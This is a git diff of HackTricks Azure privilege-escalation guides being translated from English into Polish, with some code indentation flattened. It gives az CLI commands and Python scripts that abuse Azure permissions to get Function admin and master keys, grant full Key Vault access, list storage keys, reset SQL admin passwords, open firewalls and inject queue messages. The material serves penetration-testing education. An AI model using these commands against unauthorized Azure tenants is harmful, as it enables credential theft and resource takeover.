ftps://waws-prod-yq1-005dr.ftp.azurewebsites.windows.net/site/wwwroot/ +ftps://waws-prod-yq1-005dr.ftp.azurewebsites.windows.net/site/wwwroot/ # Some commands ls # List get ./function_app.py -o /tmp/ # Download function_app.py in /tmp put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it ``` - _Note that the **FTP username** is usually in the format \\\$\._ ### Microsoft.Web/sites/publish/Action -According to [**the docs**](https://github.com/projectkudu/kudu/wiki/REST-API#command), this permission allows to **execute commands inside the SCM server** which could be used to modify the source code of the application: - +According to [**the docs**](https://github.com/projectkudu/kudu/wiki/REST-API#command), this permission allows to **wykonywać polecenia wewnątrz serwera SCM**, co może być użyte do modyfikacji kodu źródłowego aplikacji: ```bash az rest --method POST \ - --resource "https://management.azure.com/" \ - --url "https://newfuncttest123.scm.azurewebsites.net/api/command" \ - --body '{"command": "echo Hello World", "dir": "site\\repository"}' --debug +--resource "https://management.azure.com/" \ +--url "https://newfuncttest123.scm.azurewebsites.net/api/command" \ +--body '{"command": "echo Hello World", "dir": "site\\repository"}' --debug ``` - ### Microsoft.Web/sites/hostruntime/vfs/read -This permission allows to **read the source code** of the app through the VFS: - +To uprawnienie pozwala na **odczytanie kodu źródłowego** aplikacji za pomocą VFS: ```bash az rest --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" ``` - ### Microsoft.Web/sites/functions/token/action -With this permission it's possible to [get the **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) which can be later used to retrieve the **master key** and therefore access and modify the function's code: - +Dzięki temu uprawnieniu możliwe jest [uzyskanie **tokena administratora**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01), który można później wykorzystać do uzyskania **klucza głównego** i tym samym uzyskania dostępu do kodu funkcji oraz jego modyfikacji: ```bash # Get admin token az rest --method POST \ - --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions/admin/token?api-version=2024-04-01" \ - --headers '{"Content-Type": "application/json"}' \ - --debug +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions/admin/token?api-version=2024-04-01" \ +--headers '{"Content-Type": "application/json"}' \ +--debug # Get master key curl "https://.azurewebsites.net/admin/host/systemkeys/_master" \ - -H "Authorization: Bearer " +-H "Authorization: Bearer " ``` - ### Microsoft.Web/sites/config/write, (Microsoft.Web/sites/functions/properties/read) -This permissions allows to **enable functions** that might be disabled (or disable them). - +Te uprawnienia pozwalają na **włączanie funkcji**, które mogą być wyłączone (lub ich wyłączanie). ```bash # Enable a disabled function az functionapp config appsettings set \ - --name \ - --resource-group \ - --settings "AzureWebJobs.http_trigger1.Disabled=false" +--name \ +--resource-group \ +--settings "AzureWebJobs.http_trigger1.Disabled=false" ``` - -It's also possible to see if a function is enabled or disabled in the following URL (using the permission in parenthesis): - +Możliwe jest również sprawdzenie, czy funkcja jest włączona, czy wyłączona pod następującym adresem URL (używając uprawnienia w nawiasie): ```bash az rest --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions//properties/state?api-version=2024-04-01" ``` - ### Microsoft.Web/sites/config/write, Microsoft.Web/sites/config/list/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/read) -With these permissions it's possible to **modify the container run by a function app** configured to run a container. This would allow an attacker to upload a malicious azure function container app to docker hub (for example) and make the function execute it. - +Dzięki tym uprawnieniom możliwe jest **zmodyfikowanie kontenera uruchamianego przez aplikację funkcji** skonfigurowaną do uruchamiania kontenera. Pozwoliłoby to atakującemu na przesłanie złośliwej aplikacji kontenera funkcji azure do docker hub (na przykład) i sprawienie, by funkcja ją wykonała. ```bash az functionapp config container set --name \ - --resource-group \ - --image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0" +--resource-group \ +--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0" ``` - ### Microsoft.Web/sites/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/operationresults/read) -With these permissions it's possible to **attach a new user managed identity to a function**. If the function was compromised this would allow to escalate privileges to any user managed identity. - +Dzięki tym uprawnieniom możliwe jest **przypisanie nowej tożsamości zarządzanej przez użytkownika do funkcji**. Jeśli funkcja została skompromitowana, umożliwiłoby to eskalację uprawnień do dowolnej tożsamości zarządzanej przez użytkownika. ```bash az functionapp identity assign \ - --name \ - --resource-group \ - --identities /subscriptions//providers/Microsoft.ManagedIdentity/userAssignedIdentities/ +--name \ +--resource-group \ +--identities /subscriptions//providers/Microsoft.ManagedIdentity/userAssignedIdentities/ ``` +### Zdalne debugowanie -### Remote Debugging - -It's also possible to connect to debug a running Azure function as [**explained in the docs**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). However, by default Azure will turn this option to off in 2 days in case the developer forgets to avoid leaving vulnerable configurations. - -It's possible to check if a Function has debugging enabled with: +Możliwe jest również połączenie się w celu debugowania działającej funkcji Azure, jak [**wyjaśniono w dokumentacji**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Jednak domyślnie Azure wyłączy tę opcję po 2 dniach, w przypadku gdy deweloper zapomni, aby uniknąć pozostawienia podatnych konfiguracji. +Możliwe jest sprawdzenie, czy funkcja ma włączone debugowanie za pomocą: ```bash az functionapp show --name --resource-group ``` - -Having the permission `Microsoft.Web/sites/config/write` it's also possible to put a function in debugging mode (the following command also requires the permissions `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` and `Microsoft.Web/sites/Read`). - +Mając uprawnienia `Microsoft.Web/sites/config/write`, możliwe jest również włączenie trybu debugowania dla funkcji (następujące polecenie wymaga również uprawnień `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` oraz `Microsoft.Web/sites/Read`). ```bash az functionapp config set --remote-debugging-enabled=True --name --resource-group ``` +### Zmień repozytorium Github -### Change Github repo - -I tried changing the Github repo from where the deploying is occurring by executing the following commands but even if it did change, **the new code was not loaded** (probably because it's expecting the Github Action to update the code).\ -Moreover, the **managed identity federated credential wasn't updated** allowing the new repository, so it looks like this isn't very useful. - +Próbowałem zmienić repozytorium Github, z którego odbywa się wdrożenie, wykonując następujące polecenia, ale nawet jeśli się zmieniło, **nowy kod nie został załadowany** (prawdopodobnie dlatego, że oczekuje, że Github Action zaktualizuje kod).\ +Co więcej, **poświadczenie federacyjne zarządzanej tożsamości nie zostało zaktualizowane**, co pozwala na nowe repozytorium, więc wygląda na to, że to nie jest zbyt przydatne. ```bash # Remove current az functionapp deployment source delete \ - --name funcGithub \ - --resource-group Resource_Group_1 +--name funcGithub \ +--resource-group Resource_Group_1 # Load new public repo az functionapp deployment source config \ - --name funcGithub \ - --resource-group Resource_Group_1 \ - --repo-url "https://github.com/orgname/azure_func3" \ - --branch main --github-action true +--name funcGithub \ +--resource-group Resource_Group_1 \ +--repo-url "https://github.com/orgname/azure_func3" \ +--branch main --github-action true ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md index 2db843851..a32fb26da 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md @@ -4,7 +4,7 @@ ## Azure Key Vault -For more information about this service check: +Aby uzyskać więcej informacji na temat tej usługi, sprawdź: {{#ref}} ../az-services/keyvault.md @@ -12,8 +12,7 @@ For more information about this service check: ### Microsoft.KeyVault/vaults/write -An attacker with this permission will be able to modify the policy of a key vault (the key vault must be using access policies instead of RBAC). - +Atakujący z tym uprawnieniem będzie mógł zmodyfikować politykę skarbca kluczy (skarbiec kluczy musi używać polityk dostępu zamiast RBAC). ```bash # If access policies in the output, then you can abuse it az keyvault show --name @@ -23,16 +22,11 @@ az ad signed-in-user show --query id --output tsv # Assign all permissions az keyvault set-policy \ - --name \ - --object-id \ - --key-permissions all \ - --secret-permissions all \ - --certificate-permissions all \ - --storage-permissions all +--name \ +--object-id \ +--key-permissions all \ +--secret-permissions all \ +--certificate-permissions all \ +--storage-permissions all ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md index db0b051cb..a5a2d94e0 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md @@ -2,9 +2,9 @@ {{#include ../../../banners/hacktricks-training.md}} -## Queue +## Kolejka -For more information check: +Aby uzyskać więcej informacji, sprawdź: {{#ref}} ../az-services/az-queue-enum.md @@ -12,50 +12,41 @@ For more information check: ### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/read` -An attacker with this permission can peek messages from an Azure Storage Queue. This allows the attacker to view the content of messages without marking them as processed or altering their state. This could lead to unauthorized access to sensitive information, enabling data exfiltration or gathering intelligence for further attacks. - +Atakujący z tym uprawnieniem może podglądać wiadomości z Azure Storage Queue. Umożliwia to atakującemu przeglądanie treści wiadomości bez oznaczania ich jako przetworzonych lub zmieniania ich stanu. Może to prowadzić do nieautoryzowanego dostępu do wrażliwych informacji, umożliwiając eksfiltrację danych lub zbieranie informacji wywiadowczych do dalszych ataków. ```bash az storage message peek --queue-name --account-name ``` - -**Potential Impact**: Unauthorized access to the queue, message exposure, or queue manipulation by unauthorized users or services. +**Potencjalny wpływ**: Nieautoryzowany dostęp do kolejki, ujawnienie wiadomości lub manipulacja kolejką przez nieautoryzowanych użytkowników lub usługi. ### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/process/action` -With this permission, an attacker can retrieve and process messages from an Azure Storage Queue. This means they can read the message content and mark it as processed, effectively hiding it from legitimate systems. This could lead to sensitive data being exposed, disruptions in how messages are handled, or even stopping important workflows by making messages unavailable to their intended users. - +Dzięki temu uprawnieniu, atakujący może pobierać i przetwarzać wiadomości z Azure Storage Queue. Oznacza to, że mogą odczytywać treść wiadomości i oznaczać je jako przetworzone, skutecznie ukrywając je przed legalnymi systemami. Może to prowadzić do ujawnienia wrażliwych danych, zakłóceń w sposobie obsługi wiadomości, a nawet zatrzymania ważnych procesów, czyniąc wiadomości niedostępnymi dla ich zamierzonych użytkowników. ```bash az storage message get --queue-name --account-name ``` - ### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/add/action` -With this permission, an attacker can add new messages to an Azure Storage Queue. This allows them to inject malicious or unauthorized data into the queue, potentially triggering unintended actions or disrupting downstream services that process the messages. - +Dzięki temu uprawnieniu, atakujący może dodawać nowe wiadomości do kolejki Azure Storage. Pozwala to na wstrzykiwanie złośliwych lub nieautoryzowanych danych do kolejki, co może prowadzić do wywołania niezamierzonych działań lub zakłócenia pracy usług downstream, które przetwarzają wiadomości. ```bash az storage message put --queue-name --content "Injected malicious message" --account-name ``` - ### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/write` -This permission allows an attacker to add new messages or update existing ones in an Azure Storage Queue. By using this, they could insert harmful content or alter existing messages, potentially misleading applications or causing undesired behaviors in systems that rely on the queue. - +To uprawnienie pozwala atakującemu na dodawanie nowych wiadomości lub aktualizowanie istniejących w Azure Storage Queue. Używając tego, mogą wprowadzać szkodliwą treść lub zmieniać istniejące wiadomości, co może wprowadzać w błąd aplikacje lub powodować niepożądane zachowania w systemach, które polegają na kolejce. ```bash az storage message put --queue-name --content "Injected malicious message" --account-name #Update the message az storage message update --queue-name \ - --id \ - --pop-receipt \ - --content "Updated message content" \ - --visibility-timeout \ - --account-name +--id \ +--pop-receipt \ +--content "Updated message content" \ +--visibility-timeout \ +--account-name ``` - ### Action: `Microsoft.Storage/storageAccounts/queueServices/queues/write` -This permission allows an attacker to create or modify queues and their properties within the storage account. It can be used to create unauthorized queues, modify metadata, or change access control lists (ACLs) to grant or restrict access. This capability could disrupt workflows, inject malicious data, exfiltrate sensitive information, or manipulate queue settings to enable further attacks. - +To uprawnienie pozwala atakującemu na tworzenie lub modyfikowanie kolejek i ich właściwości w ramach konta magazynowego. Może być używane do tworzenia nieautoryzowanych kolejek, modyfikowania metadanych lub zmiany list kontroli dostępu (ACL), aby przyznać lub ograniczyć dostęp. Ta zdolność może zakłócać przepływy pracy, wstrzykiwać złośliwe dane, eksfiltrując wrażliwe informacje lub manipulować ustawieniami kolejek, aby umożliwić dalsze ataki. ```bash az storage queue create --name --account-name @@ -63,7 +54,6 @@ az storage queue metadata update --name --metadata key1=value1 key2 az storage queue policy set --name --permissions rwd --expiry 2024-12-31T23:59:59Z --account-name ``` - ## References - https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues @@ -71,7 +61,3 @@ az storage queue policy set --name --permissions rwd --expiry 2024- - https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md index bee8aff28..e4a07cc71 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md @@ -4,16 +4,15 @@ ## Service Bus -For more information check: +Aby uzyskać więcej informacji, sprawdź: {{#ref}} ../az-services/az-servicebus-enum.md {{#endref}} -### Send Messages. Action: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` OR `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action` - -You can retrieve the `PrimaryConnectionString`, which acts as a credential for the Service Bus namespace. With this connection string, you can fully authenticate as the Service Bus namespace, enabling you to send messages to any queue or topic and potentially interact with the system in ways that could disrupt operations, impersonate valid users, or inject malicious data into the messaging workflow. +### Wysyłanie wiadomości. Akcja: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` LUB `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action` +Możesz uzyskać `PrimaryConnectionString`, który działa jako poświadczenie dla przestrzeni nazw Service Bus. Z tym ciągiem połączenia możesz w pełni uwierzytelnić się jako przestrzeń nazw Service Bus, co umożliwia wysyłanie wiadomości do dowolnej kolejki lub tematu oraz potencjalne interakcje z systemem w sposób, który może zakłócić operacje, podszywać się pod ważnych użytkowników lub wstrzykiwać złośliwe dane do przepływu wiadomości. ```python #You need to install the following libraries #pip install azure-servicebus @@ -30,51 +29,51 @@ TOPIC_NAME = "" # Function to send a single message to a Service Bus topic async def send_individual_message(publisher): - # Prepare a single message with updated content - single_message = ServiceBusMessage("Hacktricks-Training: Single Item") - # Send the message to the topic - await publisher.send_messages(single_message) - print("Sent a single message containing 'Hacktricks-Training'") +# Prepare a single message with updated content +single_message = ServiceBusMessage("Hacktricks-Training: Single Item") +# Send the message to the topic +await publisher.send_messages(single_message) +print("Sent a single message containing 'Hacktricks-Training'") # Function to send multiple messages to a Service Bus topic async def send_multiple_messages(publisher): - # Generate a collection of messages with updated content - message_list = [ServiceBusMessage(f"Hacktricks-Training: Item {i+1} in list") for i in range(5)] - # Send the entire collection of messages to the topic - await publisher.send_messages(message_list) - print("Sent a list of 5 messages containing 'Hacktricks-Training'") +# Generate a collection of messages with updated content +message_list = [ServiceBusMessage(f"Hacktricks-Training: Item {i+1} in list") for i in range(5)] +# Send the entire collection of messages to the topic +await publisher.send_messages(message_list) +print("Sent a list of 5 messages containing 'Hacktricks-Training'") # Function to send a grouped batch of messages to a Service Bus topic async def send_grouped_messages(publisher): - # Send a grouped batch of messages with updated content - async with publisher: - grouped_message_batch = await publisher.create_message_batch() - for i in range(10): - try: - # Append a message to the batch with updated content - grouped_message_batch.add_message(ServiceBusMessage(f"Hacktricks-Training: Item {i+1}")) - except ValueError: - # If batch reaches its size limit, handle by creating another batch - break - # Dispatch the batch of messages to the topic - await publisher.send_messages(grouped_message_batch) - print("Sent a batch of 10 messages containing 'Hacktricks-Training'") +# Send a grouped batch of messages with updated content +async with publisher: +grouped_message_batch = await publisher.create_message_batch() +for i in range(10): +try: +# Append a message to the batch with updated content +grouped_message_batch.add_message(ServiceBusMessage(f"Hacktricks-Training: Item {i+1}")) +except ValueError: +# If batch reaches its size limit, handle by creating another batch +break +# Dispatch the batch of messages to the topic +await publisher.send_messages(grouped_message_batch) +print("Sent a batch of 10 messages containing 'Hacktricks-Training'") # Main function to execute all tasks async def execute(): - # Instantiate the Service Bus client with the connection string - async with ServiceBusClient.from_connection_string( - conn_str=NAMESPACE_CONNECTION_STR, - logging_enable=True) as sb_client: - # Create a topic sender for dispatching messages to the topic - publisher = sb_client.get_topic_sender(topic_name=TOPIC_NAME) - async with publisher: - # Send a single message - await send_individual_message(publisher) - # Send multiple messages - await send_multiple_messages(publisher) - # Send a batch of messages - await send_grouped_messages(publisher) +# Instantiate the Service Bus client with the connection string +async with ServiceBusClient.from_connection_string( +conn_str=NAMESPACE_CONNECTION_STR, +logging_enable=True) as sb_client: +# Create a topic sender for dispatching messages to the topic +publisher = sb_client.get_topic_sender(topic_name=TOPIC_NAME) +async with publisher: +# Send a single message +await send_individual_message(publisher) +# Send multiple messages +await send_multiple_messages(publisher) +# Send a batch of messages +await send_grouped_messages(publisher) # Run the asynchronous execution asyncio.run(execute()) @@ -82,11 +81,9 @@ print("Messages Sent") print("----------------------------") ``` +### Odbierz wiadomości. Akcja: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` LUB `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action` -### Recieve Messages. Action: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` OR `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action` - -You can retrieve the PrimaryConnectionString, which serves as a credential for the Service Bus namespace. Using this connection string, you can receive messages from any queue or subscription within the namespace, allowing access to potentially sensitive or critical data, enabling data exfiltration, or interfering with message processing and application workflows. - +Możesz uzyskać PrimaryConnectionString, który służy jako poświadczenie dla przestrzeni nazw Service Bus. Używając tego ciągu połączenia, możesz odbierać wiadomości z dowolnej kolejki lub subskrypcji w obrębie przestrzeni nazw, co umożliwia dostęp do potencjalnie wrażliwych lub krytycznych danych, umożliwiając eksfiltrację danych lub zakłócanie przetwarzania wiadomości i przepływów pracy aplikacji. ```python #You need to install the following libraries #pip install azure-servicebus @@ -102,48 +99,45 @@ SUBSCRIPTION_NAME = "" #Topic Subscription # Function to receive and process messages from a Service Bus subscription async def receive_and_process_messages(): - # Create a Service Bus client using the connection string - async with ServiceBusClient.from_connection_string( - conn_str=NAMESPACE_CONNECTION_STR, - logging_enable=True) as servicebus_client: +# Create a Service Bus client using the connection string +async with ServiceBusClient.from_connection_string( +conn_str=NAMESPACE_CONNECTION_STR, +logging_enable=True) as servicebus_client: - # Get the Subscription Receiver object for the specified topic and subscription - receiver = servicebus_client.get_subscription_receiver( - topic_name=TOPIC_NAME, - subscription_name=SUBSCRIPTION_NAME, - max_wait_time=5 - ) +# Get the Subscription Receiver object for the specified topic and subscription +receiver = servicebus_client.get_subscription_receiver( +topic_name=TOPIC_NAME, +subscription_name=SUBSCRIPTION_NAME, +max_wait_time=5 +) - async with receiver: - # Receive messages with a defined maximum wait time and count - received_msgs = await receiver.receive_messages( - max_wait_time=5, - max_message_count=20 - ) - for msg in received_msgs: - print("Received: " + str(msg)) - # Complete the message to remove it from the subscription - await receiver.complete_message(msg) +async with receiver: +# Receive messages with a defined maximum wait time and count +received_msgs = await receiver.receive_messages( +max_wait_time=5, +max_message_count=20 +) +for msg in received_msgs: +print("Received: " + str(msg)) +# Complete the message to remove it from the subscription +await receiver.complete_message(msg) # Run the asynchronous message processing function asyncio.run(receive_and_process_messages()) print("Message Receiving Completed") print("----------------------------") ``` - ### `Microsoft.ServiceBus/namespaces/authorizationRules/write` & `Microsoft.ServiceBus/namespaces/authorizationRules/write` -If you have these permissions, you can escalate privileges by reading or creating shared access keys. These keys allow full control over the Service Bus namespace, including managing queues, topics, and sending/receiving messages, potentially bypassing role-based access controls (RBAC). - +Jeśli masz te uprawnienia, możesz podnieść uprawnienia, odczytując lub tworząc klucze dostępu współdzielonego. Te klucze umożliwiają pełną kontrolę nad przestrzenią nazw Service Bus, w tym zarządzanie kolejkami, tematami oraz wysyłaniem/odbieraniem wiadomości, potencjalnie omijając kontrole dostępu oparte na rolach (RBAC). ```bash az servicebus namespace authorization-rule update \ - --resource-group \ - --namespace-name \ - --name RootManageSharedAccessKey \ - --rights Manage Listen Send +--resource-group \ +--namespace-name \ +--name RootManageSharedAccessKey \ +--rights Manage Listen Send ``` - -## References +## Odniesienia - https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues - https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api @@ -152,7 +146,3 @@ az servicebus namespace authorization-rule update \ - https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/integration#microsoftservicebus {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md index 76dbfdcfd..80079058d 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md @@ -4,7 +4,7 @@ ## SQL Database Privesc -For more information about SQL Database check: +Aby uzyskać więcej informacji na temat SQL Database, sprawdź: {{#ref}} ../az-services/az-sql.md @@ -12,104 +12,88 @@ For more information about SQL Database check: ### "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/write" -With these permissions, a user can perform privilege escalation by updating or creating Azure SQL servers and modifying critical configurations, including administrative credentials. This permission allows the user to update server properties, including the SQL server admin password, enabling unauthorized access or control over the server. They can also create new servers, potentially introducing shadow infrastructure for malicious purposes. This becomes particularly critical in environments where "Microsoft Entra Authentication Only" is disabled, as they can exploit SQL-based authentication to gain unrestricted access. - +Dzięki tym uprawnieniom użytkownik może przeprowadzić eskalację uprawnień, aktualizując lub tworząc serwery Azure SQL oraz modyfikując krytyczne konfiguracje, w tym dane uwierzytelniające administratora. To uprawnienie pozwala użytkownikowi na aktualizację właściwości serwera, w tym hasła administratora SQL, co umożliwia nieautoryzowany dostęp lub kontrolę nad serwerem. Mogą również tworzyć nowe serwery, potencjalnie wprowadzając infrastrukturę cieniową w celach złośliwych. Staje się to szczególnie krytyczne w środowiskach, w których "Microsoft Entra Authentication Only" jest wyłączone, ponieważ mogą wykorzystać uwierzytelnianie oparte na SQL, aby uzyskać nieograniczony dostęp. ```bash # Change the server password az sql server update \ - --name \ - --resource-group \ - --admin-password +--name \ +--resource-group \ +--admin-password # Create a new server az sql server create \ - --name \ - --resource-group \ - --location \ - --admin-user \ - --admin-password +--name \ +--resource-group \ +--location \ +--admin-user \ +--admin-password ``` - -Additionally it is necesary to have the public access enabled if you want to access from a non private endpoint, to enable it: - +Dodatkowo konieczne jest włączenie dostępu publicznego, jeśli chcesz uzyskać dostęp z punktu końcowego, który nie jest prywatny. Aby to włączyć: ```bash az sql server update \ - --name \ - --resource-group \ - --enable-public-network true +--name \ +--resource-group \ +--enable-public-network true ``` - ### "Microsoft.Sql/servers/firewallRules/write" -An attacker can manipulate firewall rules on Azure SQL servers to allow unauthorized access. This can be exploited to open up the server to specific IP addresses or entire IP ranges, including public IPs, enabling access for malicious actors. This post-exploitation activity can be used to bypass existing network security controls, establish persistence, or facilitate lateral movement within the environment by exposing sensitive resources. - +Atakujący może manipulować regułami zapory na serwerach Azure SQL, aby umożliwić nieautoryzowany dostęp. Może to być wykorzystane do otwarcia serwera na konkretne adresy IP lub całe zakresy IP, w tym publiczne adresy IP, co umożliwia dostęp dla złośliwych aktorów. Ta aktywność po eksploatacji może być używana do obejścia istniejących zabezpieczeń sieciowych, ustanowienia trwałości lub ułatwienia ruchu bocznego w środowisku poprzez ujawnienie wrażliwych zasobów. ```bash # Create Firewall Rule az sql server firewall-rule create \ - --name \ - --server \ - --resource-group \ - --start-ip-address \ - --end-ip-address +--name \ +--server \ +--resource-group \ +--start-ip-address \ +--end-ip-address # Update Firewall Rule az sql server firewall-rule update \ - --name \ - --server \ - --resource-group \ - --start-ip-address \ - --end-ip-address +--name \ +--server \ +--resource-group \ +--start-ip-address \ +--end-ip-address ``` - -Additionally, `Microsoft.Sql/servers/outboundFirewallRules/delete` permission lets you delete a Firewall Rule. -NOTE: It is necesary to have the public access enabled +Dodatkowo, uprawnienie `Microsoft.Sql/servers/outboundFirewallRules/delete` pozwala na usunięcie reguły zapory. +UWAGA: Należy mieć włączony dostęp publiczny ### ""Microsoft.Sql/servers/ipv6FirewallRules/write" -With this permission, you can create, modify, or delete IPv6 firewall rules on an Azure SQL Server. This could enable an attacker or authorized user to bypass existing network security configurations and gain unauthorized access to the server. By adding a rule that allows traffic from any IPv6 address, the attacker could open the server to external access." - +Dzięki temu uprawnieniu możesz tworzyć, modyfikować lub usuwać reguły zapory IPv6 na serwerze Azure SQL. Może to umożliwić atakującemu lub uprawnionemu użytkownikowi ominięcie istniejących konfiguracji zabezpieczeń sieciowych i uzyskanie nieautoryzowanego dostępu do serwera. Dodając regułę, która pozwala na ruch z dowolnego adresu IPv6, atakujący może otworzyć serwer na dostęp zewnętrzny. ```bash az sql server firewall-rule create \ - --server \ - --resource-group \ - --name \ - --start-ip-address \ - --end-ip-address +--server \ +--resource-group \ +--name \ +--start-ip-address \ +--end-ip-address ``` - -Additionally, `Microsoft.Sql/servers/ipv6FirewallRules/delete` permission lets you delete a Firewall Rule. -NOTE: It is necesary to have the public access enabled +Dodatkowo, uprawnienie `Microsoft.Sql/servers/ipv6FirewallRules/delete` pozwala na usunięcie reguły zapory. +UWAGA: Należy mieć włączony dostęp publiczny ### "Microsoft.Sql/servers/administrators/write" && "Microsoft.Sql/servers/administrators/read" -With this permissions you can privesc in an Azure SQL Server environment accessing to SQL databases and retrieven critical information. Using the the command below, an attacker or authorized user can set themselves or another account as the Azure AD administrator. If "Microsoft Entra Authentication Only" is enabled you are albe to access the server and its instances. Here's the command to set the Azure AD administrator for an SQL server: - +Dzięki tym uprawnieniom możesz uzyskać podwyższone uprawnienia w środowisku Azure SQL Server, uzyskując dostęp do baz danych SQL i odzyskując krytyczne informacje. Używając poniższego polecenia, atakujący lub uprawniony użytkownik może ustawić siebie lub inne konto jako administratora Azure AD. Jeśli "Microsoft Entra Authentication Only" jest włączone, możesz uzyskać dostęp do serwera i jego instancji. Oto polecenie do ustawienia administratora Azure AD dla serwera SQL: ```bash az sql server ad-admin create \ - --server \ - --resource-group \ - --display-name \ - --object-id +--server \ +--resource-group \ +--display-name \ +--object-id ``` - ### "Microsoft.Sql/servers/azureADOnlyAuthentications/write" && "Microsoft.Sql/servers/azureADOnlyAuthentications/read" -With these permissions, you can configure and enforce "Microsoft Entra Authentication Only" on an Azure SQL Server, which could facilitate privilege escalation in certain scenarios. An attacker or an authorized user with these permissions can enable or disable Azure AD-only authentication. - +Dzięki tym uprawnieniom możesz skonfigurować i wymusić "Tylko uwierzytelnianie Microsoft Entra" na serwerze Azure SQL, co może ułatwić eskalację uprawnień w niektórych scenariuszach. Atakujący lub uprawniony użytkownik z tymi uprawnieniami może włączyć lub wyłączyć uwierzytelnianie tylko za pomocą Azure AD. ```bash #Enable az sql server azure-ad-only-auth enable \ - --server \ - --resource-group +--server \ +--resource-group #Disable az sql server azure-ad-only-auth disable \ - --server \ - --resource-group +--server \ +--resource-group ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md index c2545f9e2..c672e8eae 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md @@ -4,7 +4,7 @@ ## Storage Privesc -For more information about storage check: +Aby uzyskać więcej informacji na temat przechowywania, sprawdź: {{#ref}} ../az-services/az-storage.md @@ -12,26 +12,21 @@ For more information about storage check: ### Microsoft.Storage/storageAccounts/listkeys/action -A principal with this permission will be able to list (and the secret values) of the **access keys** of the storage accounts. Allowing the principal to escalate its privileges over the storage accounts. - +Podmiot z tym uprawnieniem będzie mógł wylistować (oraz wartości sekretne) **kluczy dostępu** kont przechowywania. Umożliwia to podmiotowi eskalację jego uprawnień w odniesieniu do kont przechowywania. ```bash az storage account keys list --account-name ``` - ### Microsoft.Storage/storageAccounts/regenerateKey/action -A principal with this permission will be able to renew and get the new secret value of the **access keys** of the storage accounts. Allowing the principal to escalate its privileges over the storage accounts. - -Moreover, in the response, the user will get the value of the renewed key and also of the not renewed one: +Osoba z tym uprawnieniem będzie mogła odnowić i uzyskać nową wartość sekretu **kluczy dostępu** konta magazynowego. Pozwoli to osobie na eskalację jej uprawnień w odniesieniu do kont magazynowych. +Ponadto w odpowiedzi użytkownik otrzyma wartość odnowionego klucza oraz wartość klucza, który nie został odnowiony: ```bash az storage account keys renew --account-name --key key2 ``` - ### Microsoft.Storage/storageAccounts/write -A principal with this permission will be able to create or update an existing storage account updating any setting like network rules or policies. - +Osoba z 